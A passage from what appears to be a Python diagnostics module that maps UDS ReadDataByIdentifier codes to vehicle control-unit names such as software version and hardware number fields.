\"Clutch_control_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x650d] = \"Electrical_charger_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x650e] = \"Rear_light_left_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x650f] = \"Rear_light_right_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6510] = \"Rear_light_right_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6511] = \"Sunlight_sensor_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6512] = \"Radiator_shutter_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6513] = \"Radiator_shutter_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6514] = \"Radiator_shutter_3_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6515] = \"Radiator_shutter_4_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6518] = \"Special_key_operating_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6519] = \"Radio_interface_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x651a] = \"Video_self_protection_recorder_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x651b] = \"Special_vehicle_assist_interface_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x651c] = \"Electric_system_disconnection_diode_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x651d] = \"Cradle_rear_climatronic_operating_and_display_unit_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x651e] = \"Belt_pretensioner_2nd_row_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x651f] = \"Belt_pretensioner_2nd_row_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6520] = \"Electrical_variable_camshaft_phasing_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6521] = \"Electrical_variable_camshaft_phasing_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6522] = \"Wireless_operating_unit_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6523] = \"Wireless_operating_unit_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6524] = \"Front_windshield_washer_pump_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6525] = \"Air_quality_sensor_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6526] = \"Fragrancing_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6527] = \"Coolant_valve_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6528] = \"Near_field_communication_control_module_3_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6529] = \"Interior_monitoring_rear_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x652a] = \"Cooler_fan_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x652b] = \"Control_unit_heating_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x652c] = \"Control_unit_heating_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x652d] = \"Control_unit_heating_3_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x652e] = \"Control_unit_heating_4_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x652f] = \"Operating_unit_drive_mode_selection_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6530] = \"Side_sensor_a-pillar_driver_front_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6531] = \"Side_sensor_a-pillar_passenger_front_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6532] = \"Sensor_high_voltage_system_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6533] = \"Side_sensor_b-pillar_driver_front_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6534] = \"Side_sensor_b-pillar_passenger_front_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6535] = \"Multi_function_steering_wheel_control_module_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6536] = \"Gear_selection_display_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6537] = \"Cooler_fan_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6538] = \"Gear_selector_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6539] = \"Interior_light_module_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x653a] = \"Radio_control_center_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x653b] = \"Multimedia_extension_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x653c] = \"Control_unit_differential_lock_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x653d] = \"Control_unit_ride_control_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x653e] = \"Control_unit_hands_on_detection_steering_wheel_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x653f] = \"Front_climatronic_operating_and_display_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6540] = \"Auxiliary_display_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6541] = \"Card_reader_tv_tuner_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6542] = \"Park_lock_actuator_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6543] = \"Media_connector_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6544] = \"Catalyst_heating_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6601] = \"Control_unit_for_wiper_motor_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6602] = \"Rain_light_recognition_sensor_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6603] = \"Light_switch_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6604] = \"Garage_door_opener_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6605] = \"Garage_door_opener_operating_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6606] = \"Ignition_key_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6607] = \"Left_front_seat_ventilation_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6608] = \"Right_front_seat_ventilation_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6609] = \"Left_rear_seat_ventilation_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x660a] = \"LED_headlamp_powermodule_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x660b] = \"LED_headlamp_powermodule_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x660c] = \"LED_headlamp_powermodule_2_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x660d] = \"LED_headlamp_powermodule_2_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x660e] = \"Operating_and_display_unit_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x660f] = \"Operating_and_display_unit_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6610] = \"Right_rear_seat_ventilation_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6611] = \"Data_medium_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6612] = \"Drivers_door_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6613] = \"Front_passengers_door_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6614] = \"Left_headlamp_power_output_stage_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6615] = \"Right_headlamp_power_output_stage_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6616] = \"Sensor_for_anti_theft_alarm_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6617] = \"Rear_lid_control_module_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6618] = \"Alarm_horn_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6619] = \"Automatic_day_night_interior_mirror_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x661a] = \"Remote_control_auxiliary_heater_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x661b] = \"Fresh_air_blower_front_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x661c] = \"Fresh_air_blower_back_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x661d] = \"Alternator_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x661e] = \"Interior_light_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x661f] = \"Refrigerant_pressure_and_temperature_sender_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6620] = \"Sun_roof_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6621] = \"Steering_column_lock_actuator_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6622] = \"Anti_theft_tilt_system_control_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6623] = \"Tire_pressure_monitor_antenna_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6624] = \"Heated_windshield_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6625] = \"Rear_light_left_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6626] = \"Ceiling_light_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6627] = \"Left_front_massage_seat_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6628] = \"Right_front_massage_seat_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6629] = \"Control_module_for_auxiliary_air_heater_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x662a] = \"Belt Pretensioner left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x662b] = \"Belt Pretensioner right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x662c] = \"Occupant Detection_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x662d] = \"Selector_lever_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x662e] = \"NOx_sensor_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x662f] = \"NOx_sensor_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6630] = \"Ioniser_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6631] = \"Multi_function_steering_wheel_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6632] = \"Left_rear_door_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6633] = \"Right_rear_door_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6634] = \"Left_rear_massage_seat_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6635] = \"Right_rear_massage_seat_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6636] = \"Display_unit_1_for_multimedia_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6637] = \"Battery_monitoring_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6638] = \"Roof_blind_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6639] = \"Sun_roof_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x663a] = \"Steering_angle_sender_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x663b] = \"Lane_change_assistant 2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x663c] = \"Pitch_rate_sender_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x663d] = \"ESP_sensor_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x663e] = \"Electronic_ignition_lock_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x663f] = \"Air_quality_sensor_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6640] = \"Display_unit_2_for_multimedia_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6641] = \"Telephone_handset_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6642] = \"Chip_card_reader_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6643] = \"Traffic_data_aerial_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6644] = \"Hands_free_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6645] = \"Telephone_handset_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6646] = \"Display_unit_front_for_multimedia_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6647] = \"Multimedia_operating_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6648] = \"Digital_sound_system_control_module_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6649] = \"Electrically_adjustable_steering_column_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x664a] = \"Interface_for_external_multimedia_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x664b] = \"Relative_Air_Humidity_Interior_Sender_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x664c] = \"Drivers_door_rear_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x664d] = \"Passengers_rear_door_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x664e] = \"Sensor_controlled_power_rear_lid_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x664f] = \"Camera_for_night_vision_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6650] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6651] = \"Rear_spoiler_adjustment_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6652] = \"Roof_blind_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6653] = \"Motor_for_wind_deflector_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6654] = \"Voltage_stabilizer_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6655] = \"Switch_module_for_driver_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6656] = \"Switch_module_for_front_passenger_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6657] = \"Switch_module_for_rear_seat_driver_side_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6658] = \"Switch_module_for_rear_seat_front_passenger_side_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6659] = \"Switch_module_2_for_driver_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x665a] = \"Battery_charger_unit_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x665b] = \"Battery_charger_unit_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x665c] = \"Battery_charger_unit_3_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x665d] = \"Air_conditioning_compressor_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x665e] = \"Neck_heating_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x665f] = \"Neck_heating_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6660] = \"Switch_module_2_for_front_passenger_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6661] = \"Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6662] = \"Compact_disc_database_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6663] = \"Rear_climatronic_operating_and_display_unit_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6664] = \"Rear_climatronic_operating_and_display_unit_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6665] = \"Door_handle_front_left_Kessy_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6666] = \"Door_handle_front_right_Kessy_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6667] = \"Door_handle_rear_left_Kessy_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6668] = \"Door_handle_rear_right_Kessy_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6669] = \"Power_converter_DC_AC_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x666a] = \"Battery_monitoring_control_module_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x666b] = \"Matrix_headlamp_powermodule_1_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x666c] = \"Matrix_headlamp_powermodule_1_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x666d] = \"High_beam_powermodule_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x666e] = \"High_beam_powermodule_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x666f] = \"Air_suspension_compressor_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6670] = \"Rear_brake_actuator_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6671] = \"Rear_brake_actuator_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6672] = \"Analog_clock_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6673] = \"Rear_door_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6679] = \"Data_medium_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x667a] = \"Operating_unit_center_console_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x667b] = \"Operating_unit_center_console_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x667c] = \"Operating_unit_center_console_3_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x667d] = \"Operating_unit_center_console_4_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x667e] = \"Interface_for_radiodisplay_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x667f] = \"Parkassist_entry_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6686] = \"Belt_pretensioner_3rd_row_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6687] = \"Belt_pretensioner_3rd_row_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6688] = \"Injection_valve_heater_control_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6689] = \"Steering_column_switch_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x668a] = \"Brake_assistance_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x668b] = \"Trailer_articulation_angle_sensor_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x668c] = \"Cup_holder_with_heater_and_cooling_element_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x668d] = \"Range_of_vision_sensing_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x668e] = \"Convenience_and_driver_assist_operating_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x668f] = \"Cradle_rear_climatronic_operating_and_display_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6690] = \"Trailer_weight_nose_weight_detection_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6691] = \"Sensor_carbon_dioxide_concentration_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6692] = \"Sensor_fine_dust_concentration_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6693] = \"Volume_control_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6694] = \"Belt_buckle_presenter_2nd_row_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6695] = \"Belt_buckle_presenter_2nd_row_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6696] = \"Operating_and_display_unit_6_for_air_conditioning_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6697] = \"Active_accelerator_pedal_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6698] = \"Multimedia_operating_unit_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6699] = \"Display_unit_3_for_multimedia_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x669a] = \"Display_unit_4_for_multimedia_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x669b] = \"Display_unit_5_for_multimedia_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x669c] = \"Control_module_for_auxiliary_blower_motors_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x669d] = \"Operating_and_display_unit_3_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x669e] = \"Operating_and_display_unit_4_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x669f] = \"Operating_and_display_unit_5_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66a0] = \"Side Sensor Driver Front_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66a1] = \"Side Sensor Passenger Front_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66a2] = \"Side Sensor Driver Rear_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66a3] = \"Side Sensor Passenger Rear_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66a4] = \"Front Sensor Driver_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66a5] = \"Front Sensor Passenger_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66a6] = \"Pedestrian Protection Driver_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66a7] = \"Pedestrian Protection Passenger_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66a8] = \"Rear Sensor Center_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66a9] = \"Pedestrian Protection Center_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66aa] = \"Pedestrian Protection Contact_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ab] = \"Pedestrian_protection_driver_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ac] = \"Pedestrian_protection_passenger_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ad] = \"Central_sensor_XY_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ae] = \"Refrigerant_pressure_and_temperature_sender_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66af] = \"Refrigerant_pressure_and_temperature_sender_3_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66b0] = \"Switch_for_rear_multicontour_seat_driver_side_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66b1] = \"Valve_block_1_in_driver_side_rear_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66b2] = \"Valve_block_2_in_driver_side_rear_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66b3] = \"Valve_block_3_in_driver_side_rear_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66b4] = \"Switch_for_rear_multicontour_seat_passenger_side_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66b5] = \"Valve_block_1_in_passenger_side_rear_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66b6] = \"Valve_block_2_in_passenger_side_rear_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66b7] = \"Valve_block_3_in_passenger_side_rear_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66b8] = \"Switch_for_front_multicontour_seat_driver_side_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66b9] = \"Valve_block_1_in_driver_side_front_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ba] = \"Valve_block_2_in_driver_side_front_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66bb] = \"Valve_block_3_in_driver_side_front_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66bc] = \"Switch_for_front_multicontour_seat_passenger_side_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66bd] = \"Valve_block_1_in_passenger_side_front_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66be] = \"Valve_block_2_in_passenger_side_front_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66bf] = \"Valve_block_3_in_passenger_side_front_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66c0] = \"Coolant_heater_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66c1] = \"Seat_backrest_fan_1_front_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66c2] = \"Seat_backrest_fan_2_front_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66c3] = \"Seat_cushion_fan_1_front_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66c4] = \"Seat_cushion_fan_2_front_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66c5] = \"Seat_backrest_fan_1_front_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66c6] = \"Seat_backrest_fan_2_front_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66c7] = \"Seat_cushion_fan_1_front_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66c8] = \"Seat_cushion_fan_2_front_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66c9] = \"Operating_and_display_unit_1_for_air_conditioning_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ca] = \"Operating_and_display_unit_2_for_air_conditioning_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66cb] = \"Operating_and_display_unit_3_for_air_conditioning_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66cc] = \"Operating_and_display_unit_4_for_air_conditioning_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66cd] = \"Operating_and_display_unit_5_for_air_conditioning_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ce] = \"Pedestrian_protection_left_hand_side_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66cf] = \"Pedestrian_protection_right_hand_side_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66d0] = \"Battery_junction_box_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66d1] = \"Cell_module_controller_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66d2] = \"Cell_module_controller_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66d3] = \"Cell_module_controller_3_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66d4] = \"Cell_module_controller_4_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66d5] = \"Cell_module_controller_5_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66d6] = \"Cell_module_controller_6_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66d7] = \"Cell_module_controller_7_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66d8] = \"Cell_module_controller_8_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66d9] = \"Cell_module_controller_9_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66da] = \"Cell_module_controller_10_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66db] = \"Cell_module_controller_11_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66dc] = \"Cell_module_controller_12_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66dd] = \"Seat_backrest_fan_1_rear_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66de] = \"Seat_backrest_fan_2_rear_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66df] = \"Seat_cushion_fan_1_rear_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66e0] = \"Seat_cushion_fan_2_rear_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66e1] = \"Seat_backrest_fan_1_rear_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66e2] = \"Seat_backrest_fan_2_rear_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66e3] = \"Seat_cushion_fan_1_rear_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66e4] = \"Seat_cushion_fan_2_rear_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66e5] = \"Auxiliary_blower_motor_control_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66e6] = \"Auxiliary_blower_motor_control_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66e7] = \"Infrared_sender_for_front_observation_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66e8] = \"Starter_generator_control_module_sub_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66e9] = \"Media_player_1_sub_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ea] = \"Media_player_2_sub_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66eb] = \"Dedicated_short_range_communication_aerial_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ec] = \"Refrigerant_pressure_and_temperature_sender_4_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ed] = \"Refrigerant_pressure_and_temperature_sender_5_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ee] = \"Refrigerant_pressure_and_temperature_sender_6_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ef] = \"Air_coolant_actuator_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66f0] = \"Air_coolant_actuator_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66f1] = \"Cell_module_controller_13_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66f2] = \"Cell_module_controller_14_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66f3] = 